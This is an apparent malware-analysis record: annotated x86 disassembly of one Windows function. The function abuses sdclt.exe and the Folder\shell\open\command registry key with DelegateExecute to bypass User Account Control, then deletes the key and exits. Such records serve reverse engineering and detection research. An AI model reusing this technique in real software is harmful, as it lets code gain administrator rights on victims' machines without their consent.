Function at 0x415974
Capabilities:
Create process on windows
Delete registry key
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x914
push ebx
push esi
push edi
call fcn.00413893
cmp eax, 1
je 0x4159d8
push 5
pop edx
lea ecx, [ebp - 4]
call fcn.00413915
push str.Documents:ApplicationData
lea ecx, [ebp - 4]
call fcn.004043fa
lea ecx, [ebp - 0xc]
call fcn.00413960
push dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_CharLowerW]
call esi
push dword [ebp - 0xc]
mov edi, eax
call esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x4159df
mov ecx, dword [ebp - 0xc]
call fcn.00406f1d
mov ecx, dword [ebp - 4]
call fcn.00406f1d
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
push dword [0x41e8c8]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
lea eax, [ebp - 8]
xor edi, edi
push eax
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 8], edi
je 0x415a10
lea ecx, [ebp - 0x10]
call fcn.00413473
call fcn.00415774
mov esi, 0x400
lea eax, [ebp - 0x910]
push esi
push edi
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x910]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x910]
mov esi, 0x41c6b8
push eax
push esi
call fcn.0041570f
push esi
push str.DelegateExecute
call fcn.0041570f
add esp, 0x10
lea eax, [ebp - 0x510]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str._sdclt.exe
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x44
lea eax, [ebp - 0xb4]
push edi
push eax
call fcn.00401293
push 0x11
pop ecx
lea esi, [ebp - 0xb4]
xor eax, eax
lea edi, [ebp - 0x100]
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x30]
stosd dword es:[edi], eax
lea esi, [ebp - 0x30]
push 0xa
pop ecx
push 0x1df
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x2df]
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str.cmd.exe__C_C:WindowsSystem32_sdclt.exe
lea edi, [ebp - 0x308]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
push edi
push eax
call fcn.00401293
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0x4e20
call esi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x100]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x308]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x1c]
call ebx
push dword [ebp - 0x20]
call ebx
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x70]
push 0x419718
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp - 8], edi
je 0x415b45
lea ecx, [ebp - 0x10]
call fcn.0041344c
push 0x7d0
call esi
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]